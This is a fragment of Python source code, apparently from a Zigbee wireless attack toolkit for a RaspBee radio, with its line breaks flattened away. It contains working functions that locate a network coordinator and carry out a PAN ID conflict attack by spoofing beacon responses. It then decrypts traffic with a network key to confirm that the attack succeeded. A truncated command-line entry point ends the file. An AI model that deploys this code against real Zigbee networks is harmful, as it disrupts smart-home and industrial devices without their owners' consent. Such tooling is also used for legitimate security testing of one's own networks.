def find_coord_addr_by_panid(radio, panid): for attempt in range(NUMBER_OF_ATTEMPTS): print_info("Finding the coordinator's address") seq_num = random.randint(0, 255) radio.send(beacon_request(seq_num=seq_num)) timer = Timer(RESPONSE_TIME_LIMIT) while (not timer.has_expired()): frame = radio.receive() if is_beacon_response(frame): if frame[Dot15d4Beacon].src_panid == panid: addr = frame[Dot15d4Beacon].src_addr print_info("Address found: 0x%04x" % addr) return addr print_error("Did not observe the target's beacon response.")
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None): print_info("Performing PAN ID conflict") conflict_sent = False for attempt in range(NUMBER_OF_ATTEMPTS): seq_num = random.randint(0, 255) seq_iter = SequenceIterator(seq_num) radio.send(beacon_request(seq_num=seq_iter.next())) timer = Timer(RESPONSE_TIME_LIMIT) while not timer.has_expired(): frame = radio.receive() if is_beacon_response(frame): if frame[Dot15d4FCS].src_panid == panid: print_info("Network observed, sending conflict") current_seq_num = seq_iter.next() radio.send(beacon_response(panid, seq_num=current_seq_num)) radio.send(beacon_response(panid, seq_num=current_seq_num)) break if network_key is not None and coord_ext_addr is not None: timer.reset() print_info( "Verifying the conflict took by looking for the network update" ) while not timer.has_expired(): frame = radio.receive() if frame is not None and ZigbeeSecurityHeader in frame: coord_ext_addr_bytes = extended_address_bytes( coord_ext_addr) decrypted, valid = crypto_utils.zigbee_packet_decrypt( network_key, frame, coord_ext_addr_bytes) if valid: if bytes(decrypted)[0] == 0x0a: print_info( "Network update observed. PAN conflict worked") return True print_error( "Did not observe a network update. PAN conflict likely failed") return False return True
def get_pan_by_extended_pan(radio, extended_panid): seq_iter = SequenceIterator(random.randint(0, 255)) extended_panid = extended_pan(extended_panid) for attempt in range(NUMBER_OF_ATTEMPTS): print_info("Sending a beacon to find the target's current PAN ID.") radio.send(beacon_request(seq_num=seq_iter.next())) timer = Timer(RESPONSE_TIME_LIMIT) while not timer.has_expired(): frame = radio.receive() if is_beacon_response(frame): if frame[ZigBeeBeacon].extended_pan_id == extended_panid: panid = frame[Dot15d4Beacon].src_panid print_info("PAN ID found: 0x%04x" % panid) return panid print_error("Did not observe the target's beacon response.")
required=True, help='Channel to use') parser.add_argument('-w', '--wireshark', action='store_true', dest='wireshark', required=False, help='See all traffic in wireshark') args = parser.parse_args() logo = Logo() logo.print() hardware_radio = RaspbeeRadio("/dev/ttyS0") radio = ObserverRadio(hardware_radio) if args.wireshark: wireshark = WiresharkObserver() radio.add_observer(wireshark) radio.set_channel(args.channel) print_notify("Sending the beacon request") radio.send(beacon_request(random.randint(0, 255))) timer = Timer(5) while not timer.has_expired(): radio.receive() radio.off()